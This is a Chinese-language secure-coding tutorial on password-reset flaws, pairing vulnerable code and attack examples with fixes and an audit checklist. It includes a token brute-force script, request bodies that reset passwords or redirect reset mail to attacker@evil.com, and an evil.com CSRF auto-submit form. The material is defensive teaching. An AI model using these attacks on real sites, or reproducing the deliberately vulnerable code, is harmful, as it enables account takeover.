一、密码找回的重要性
1.1 为什么密码找回是高危入口
密码找回流程的独特性:
1. 用户不记得密码 → 无法使用原有认证方式
2. 服务端必须提供某种"替代验证"手段
3. 替代验证的安全性往往低于主登录流程
4. 一旦找回链接被滥用 = 直接接管账号
密码找回 = 没有密码就能登录的"后门"
1.2 攻击链路示例
常见密码找回攻击链:
信息收集 → 身份冒充 → Token 窃取 → 重置密码 → 账户接管
│ │ │
▼ ▼ ▼
泄露数据 修改邮箱 钓鱼邮件
社工 短信劫持 Referer 泄露
SIM Swap 日志泄露
二、漏洞一:重置链接可预测 / 可枚举
2.1 问题
重置链接中的 token 使用可预测的值(如时间戳 + user_id、自增 ID、弱随机数等)。
2.2 脆弱实现
import time
import hashlib
def generate_reset_token(user_id: int) -> str:
# 🔴 可预测!只有 user_id + 时间戳,盐值固定
data = f"{user_id}:{int(time.time())}"
return hashlib.md5(data.encode()).hexdigest()
# 生成的 token 可被枚举
# 攻击者知道 user_id 和大致时间就能算出
2.3 枚举脚本
import time
import hashlib
import itertools
def generate_weak_token(user_id: int, timestamp: int) -> str:
data = f"{user_id}:{timestamp}"
return hashlib.md5(data.encode()).hexdigest()
def brute_force_token(user_id: int, target_hash: str, time_window: int = 3600):
"""在时间窗口内暴力破解 token"""
now = int(time.time())
for ts in range(now - time_window, now + time_window):
candidate = generate_weak_token(user_id, ts)
if candidate == target_hash:
print(f"[+] Found! user_id={user_id}, timestamp={ts}")
return True
print(f"[-] Not found in {time_window * 2}s window")
return False
2.4 安全实现
import secrets
from datetime import datetime, timedelta, timezone
def generate_reset_token(user_id: int) -> tuple[str, str, int]:
"""生成安全的重置 token,返回 (token, token_id, expires_at)"""
token_id = secrets.token_hex(16) # 128 位随机 ID
token = secrets.token_urlsafe(32) # 256 位随机 token
expires_at = int((datetime.now(timezone.utc) + timedelta(hours=1)).timestamp())
# 服务端只存 token 的 hash,不存明文
# 这样即使数据库泄露也无法直接使用
token_hash = hashlib.sha256(token.encode()).hexdigest()
db.execute("""
INSERT INTO password_reset_tokens
(token_id, user_id, token_hash, expires_at, used)
VALUES (?, ?, ?, ?, false)
""", (token_id, user_id, token_hash, expires_at))
return token, token_id, expires_at
# 链接格式:/reset-password?token={token}&rid={token_id}
# token 作为凭据,token_id 用于在数据库中查找
三、漏洞二:重置链接不过期
3.1 问题
重置链接永久有效,或有效期长达几天/几周。
3.2 攻击场景
攻击者通过钓鱼邮件让受害者点击重置链接,然后:
- 受害者还没来得及使用,链接被攻击者的浏览器插件自动记录
- 1 周后攻击者用这个"永久有效"的链接重置密码
- 受害者密码被改掉,账户被接管
3.3 修复
def validate_reset_token(token: str) -> tuple[bool, str, dict | None]:
"""校验重置 token 的有效性"""
# 1. 查找 token 记录
token_hash = hashlib.sha256(token.encode()).hexdigest()
row = db.execute("""
SELECT * FROM password_reset_tokens
WHERE token_hash = ?
""", (token_hash,)).fetchone()
if not row:
return False, 'invalid token', None
# 2. 检查是否过期
now = int(time.time())
if row['expires_at'] < now:
return False, 'token expired', None
# 3. 检查是否已使用
if row['used']:
return False, 'token already used', None
# 4. 检查是否被撤销(如用户主动取消)
if row['revoked']:
return False, 'token revoked', None
return True, 'valid', row
@app.route('/api/reset-password', methods=['POST'])
def reset_password():
token = request.json['token']
new_password = request.json['new_password']
valid, reason, data = validate_reset_token(token)
if not valid:
return jsonify({'error': reason}), 400
# 重置密码
user = db.get_user_by_id(data['user_id'])
user.password_hash = argon2.hash_password(new_password)
user.password_reset_at = datetime.now()
db.save(user)
# 🔑 关键:立即标记 token 为已使用
db.execute("""
UPDATE password_reset_tokens
SET used = true
WHERE token_id = ?
""", (data['token_id'],))
# 🔑 使该用户所有其他重置 token 失效
db.execute("""
UPDATE password_reset_tokens
SET revoked = true
WHERE user_id = ? AND used = false
""", (data['user_id'],))
# 🔑 使所有现有会话失效
session_manager.invalidate_all_sessions(data['user_id'])
return jsonify({'status': 'ok', 'message': 'password reset successful'})
四、漏洞三:重置流程跳过验证
4.1 场景一:直接用 user_id 重置
# 攻击者直接请求重置,绕过发送验证邮件的步骤
POST /api/reset-password
Content-Type: application/json
{
"user_id": 42,
"new_password": "attacker123"
}
# 直接重置成功!没有要求 token
4.2 场景二:修改邮箱字段
POST /api/forgot-password
Content-Type: application/json
{
"email": "victim@example.com",
"target_email": "attacker@evil.com" # 🔴 攻击者修改了目标邮箱
}
# 重置链接被发到了攻击者邮箱
4.3 场景三:邮箱参数篡改
# 🔴 脆弱实现
@app.route('/api/forgot-password', methods=['POST'])
def forgot_password():
email = request.json['email']
target_email = request.json.get('target_email', email) # 允许覆盖!
user = db.get_user_by_email(email)
if user:
token, _, _ = generate_reset_token(user.id)
send_email(target_email, token) # 发送到攻击者指定的地址
return jsonify({'status': 'ok'})
# ✅ 修复
@app.route('/api/forgot-password', methods=['POST'])
def forgot_password():
email = request.json['email']
# 🔑 忽略客户端传入的任何 target_email
user = db.get_user_by_email(email)
if user:
# 🔑 始终发送到用户数据库中登记的邮箱
token, _, _ = generate_reset_token(user.id)
send_email(user.email, token)
# 统一响应,不暴露邮箱是否存在
return jsonify({'status': 'ok'})
五、漏洞四:重置链接可重放
5.1 问题
重置密码后 token 没有失效,攻击者可以重复使用同一个 token 重置密码。
5.2 攻击场景
1. 攻击者通过钓鱼让受害者点击重置链接并成功设置新密码
2. 攻击者用同一个链接再次重置密码
3. 受害者设置的新密码也被攻击者改掉
4. 因为密码频繁变化,受害者可能怀疑自己记错了密码
5. 攻击者持续通过重放控制账户
5.3 修复
上面的代码已经展示了正确做法:密码重置成功后立即标记 token 为 used = true。
此外还应:
- 每次登录成功后撤销所有未使用的重置 token
- 发送新重置 token 时撤销该用户之前所有未使用的 token
六、漏洞五:重置流程无速率限制
6.1 问题
攻击者可以无限请求重置链接,导致:
- 邮箱被淹没(DoS)
- 尝试枚举注册邮箱
6.2 防护
@app.route('/api/forgot-password', methods=['POST'])
def forgot_password():
email = request.json['email']
ip = request.remote_addr
# 速率限制:每邮箱 3 次/小时
email_key = f'forgot_rate:email:{email}'
email_count = redis.incr(email_key)
redis.expire(email_key, 3600)
if email_count > 3:
return jsonify({'error': 'too many requests, try again later'}), 429
# 速率限制:每 IP 10 次/小时
ip_key = f'forgot_rate:ip:{ip}'
ip_count = redis.incr(ip_key)
redis.expire(ip_key, 3600)
if ip_count > 10:
# 触发图形验证码
captcha_token = request.json.get('captcha_token')
if not captcha_token or not verify_captcha(captcha_token):
return jsonify({'error': 'captcha required'}), 400
# 发送重置邮件...
七、漏洞六:重置链接通过 HTTP 传输
7.1 攻击演示
攻击者在同一网络(咖啡厅 Wi-Fi)中监听受害者的流量:
1. 受害者点击了重置链接
2. HTTP 请求经过时被攻击者拦截
3. 攻击者从 URL 中提取 token
4. 用 token 重置密码 → 接管账号
7.2 修复
# 强制 HTTPS
from flask_talisman import Talisman
Talisman(app, force_https=True)
# 或使用 HSTS
@app.after_request
def add_hsts(response):
response.headers['Strict-Transport-Security'] = (
'max-age=31536000; includeSubDomains; preload'
)
return response
# 重定向 HTTP → HTTPS
@app.before_request
def force_https():
if not request.is_secure:
url = request.url.replace('http://', 'https://')
return redirect(url, code=301)
八、漏洞七:Referer / URL 参数泄露 token
8.1 问题
重置链接中的 token 是 URL 参数形式:https://example.com/reset?token=abc123
当用户在重置密码页面点击外部链接时,token 会泄露到 Referer 头中。
8.2 攻击场景
受害者在重置密码页面:https://example.com/reset?token=LEAKME
页面底部有个外链:
<a href="https://evil.com/ads">赞助广告</a>
受害者不小心点击 → 浏览器发送:
GET https://evil.com/ads
Referer: https://example.com/reset?token=LEAKME ← token 泄露!
攻击者从 evil.com 的访问日志中拿到 token
8.3 修复一:POST 表单提交 token
<!-- 不把 token 放在 URL 里 -->
<form method="POST" action="/reset-password">
<input type="hidden" name="token" value="{{ token }}" />
<!-- token 在 request body 中,不会出现在 Referer -->
<input type="password" name="new_password" />
<button type="submit">Reset</button>
</form>
8.4 修复二:将 token 存入 session / Cookie
@app.route('/reset', methods=['GET'])
def reset_page():
# token 只在 URL 中出现一次(用于验证身份)
token = request.args.get('token')
valid, reason, data = validate_reset_token(token)
if not valid:
return render_template('error.html', error=reason)
# 把 token 存入 session(HttpOnly Cookie),然后 302 到无 token 的页面
session['reset_token'] = token
return redirect('/reset-password', code=302)
@app.route('/reset-password', methods=['GET', 'POST'])
def reset_password_page():
# 从 session 中取 token(不在 URL 中)
token = session.get('reset_token')
if not token:
return redirect('/forgot-password')
if request.method == 'POST':
new_password = request.form.get('new_password')
# ... 重置逻辑
session.pop('reset_token', None)
return redirect('/login')
return render_template('reset-form.html')
8.5 修复三:设置 Referrer-Policy
# 即使 token 在 URL 中,也让浏览器不发送 Referer
response.headers['Referrer-Policy'] = 'no-referrer'
# 或 'same-origin' —— 只在同源时发送 Referer
九、漏洞八:邮箱可被篡改 → 钓鱼陷阱
9.1 场景
攻击者在密码重置流程中,通过某个漏洞修改了用户登记的邮箱,于是重置邮件被发送到攻击者控制的邮箱。
9.2 防护
# 1. 修改邮箱需要二次验证
@app.route('/api/account/email', methods=['PUT'])
def change_email():
current_password = request.json.get('current_password')
new_email = request.json.get('new_email')
user = get_current_user()
# 必须验证当前密码
if not argon2.verify(current_password, user.password_hash):
return jsonify({'error': 'invalid password'}), 401
# 不能改成已注册的邮箱
if db.get_user_by_email(new_email):
return jsonify({'error': 'email already registered'}), 400
# 发送验证邮件到新邮箱(用户必须点击确认链接才生效)
verification_token = secrets.token_urlsafe(32)
redis.setex(f'email_change:{user.id}', 86400, verification_token)
send_email(new_email, f'Confirm email change: https://example.com/verify-email?token={verification_token}')
return jsonify({'status': 'ok', 'message': 'verification email sent'})
# 2. 密码重置后撤销邮箱修改请求
@app.route('/api/reset-password', methods=['POST'])
def reset_password():
# ... 重置密码成功后:
redis.delete(f'email_change:{user_id}')
# 撤销所有活跃的邮箱修改请求
十、漏洞九:CSRF 攻击重置密码
10.1 攻击场景
如果重置密码接口只依赖 Cookie 认证:
<!-- evil.com 上的页面 -->
<form action="https://example.com/api/reset-password" method="POST">
<input type="hidden" name="new_password" value="hacked123" />
</form>
<script>document.forms[0].submit();</script>
<!-- 受害者已登录 example.com,浏览器自动带 Cookie -->
<!-- 攻击者不需要知道旧密码就能修改 -->
10.2 修复
# 重置密码(使用旧密码)需要 CSRF Token
@app.route('/api/account/password', methods=['PUT'])
@require_csrf_token # 强制 CSRF 校验
def change_password():
# ...
# 密码找回(使用重置 token)是一次性流程,天然有 token 防护
# 但也要确保 token 不能被跨站请求利用
# 使用 SameSite Cookie
response.set_cookie('session', value, samesite='Strict', secure=True)
十一、漏洞十:社会工程学 → 安全问题绕过
11.1 经典社工问题
忘记密码页上的安全问题:
- 你母亲的娘家姓? → 公开信息
- 你高中就读的学校? → 公开信息
- 你第一辆车的品牌? → 公开信息
- 你出生的城市? → 公开信息
- 你最喜欢的宠物名字? → 可能在社交网络找到
11.2 脆弱实现
@app.route('/forgot/security-question', methods=['POST'])
def answer_security_question():
username = request.json['username']
answer = request.json['answer']
user = db.get_user_by_username(username)
# 🔴 明文比较,且答案可能被猜到
if user.security_question_answer == answer.lower():
# 直接发送重置链接
token = generate_reset_token(user.id)
send_reset_link(user.email, token)
return jsonify({'status': 'ok'})
return jsonify({'error': 'wrong answer'}), 400
11.3 修复
# 1. 尽量不用安全问题,或只作为辅助验证
# 2. 安全问题的答案也要哈希存储
import argon2
# 存储答案(哈希)
user.security_answer_hash = argon2.hash_password(answer.lower())
# 验证时
if argon2.verify(answer.lower(), user.security_answer_hash):
# ...
pass
# 3. 强制多因素:安全问题 + 短信
@app.route('/forgot/multi-step', methods=['POST'])
def multi_step_forgot():
step = request.json['step'] # 'security_question' or 'sms_code'
if step == 'security_question':
# 验证安全问题 → 发送短信到已验证手机
# 不能独立完成重置
if step == 'sms_code':
# 验证短信 → 最后发送重置链接
# 必须两步都通过
十二、完整的密码找回安全流程
┌─────────────────────────────────────────────────────────┐
│ Password Reset Flow │
├─────────────────────────────────────────────────────────┤
│ 1. 用户请求重置 │
│ POST /api/forgot-password │
│ - 速率限制(邮箱/IP 维度) │
│ - 第 N 次触发图形验证码 │
│ - 统一响应(不暴露邮箱是否存在) │
│ - 生成强随机 token(256 位) │
│ - token SHA256 哈希存入 DB │
│ - 发送到用户登记的邮箱(无法被覆盖) │
├─────────────────────────────────────────────────────────┤
│ 2. 用户点击邮件链接 │
│ GET /reset?token=xxx │
│ - 校验 token 是否有效 / 过期 / 已使用 │
│ - 校验通过后把 token 存入 session Cookie │
│ - 302 重定向到 /reset-form(URL 中无 token) │
├─────────────────────────────────────────────────────────┤
│ 3. 用户提交新密码 │
│ POST /api/reset-password │
│ - 从 session 取 token(不从 URL 取) │
│ - 校验 token 有效性 │
│ - 校验新密码强度 + HaveIBeenPwned │
│ - 密码哈希存入 DB(Argon2id) │
│ - 🔑 标记 token 为已使用 │
│ - 🔑 撤销该用户所有未使用的重置 token │
│ - 🔑 使该用户所有现有会话失效 │
│ - 🔑 撤销所有活跃的邮箱修改请求 │
│ - 从 session 中清除 token │
│ - 发送密码变更通知邮件 │
└─────────────────────────────────────────────────────────┘
十三、密码找回审计清单
- 重置 token 是否为强随机(>=256 位)
- token 是否有过期时间(建议 <=1 小时)
- token 是否一次性使用
- 密码重置后是否撤销所有重置 token
- 密码重置后是否使所有会话失效
- 重置流程是否有速率限制(邮箱/IP 维度)
- 是否统一响应(不暴露邮箱是否存在)
- token 是否不通过 URL 传输完整流程(存入 session/Cookie)
- Referrer-Policy 是否设置为防止 token 泄露
- 是否强制 HTTPS
- 是否有邮箱修改的二次验证
- 安全问题答案是否哈希存储
- 是否提供了更安全的找回方式(SMS + 设备验证)
十四、总结
密码找回流程是"无密码的身份验证"——一旦这个环节出问题,等于主认证直接被绕过。核心防御原则:
- token 必须强随机 + 短期有效 + 一次性使用(三重保障)
- 客户端不可信——忽略所有 target_email / user_id / target 等客户端传入的定位参数
- 重置成功后立即清理——撤销 token + 失效会话 + 通知用户
- 安全问题尽量废弃——改用短信 + 设备指纹 + 风险评分
十五、参考资料
- OWASP Password Recovery Cheat Sheet
- PortSwigger Password Reset Poisoning
- NIST SP 800-63B Digital Identity Guidelines
- Krebs on Security: Twitter Password Reset Hack
- GitHub: Reset Token Best Practices
- CWE-640: Weak Password Recovery Mechanism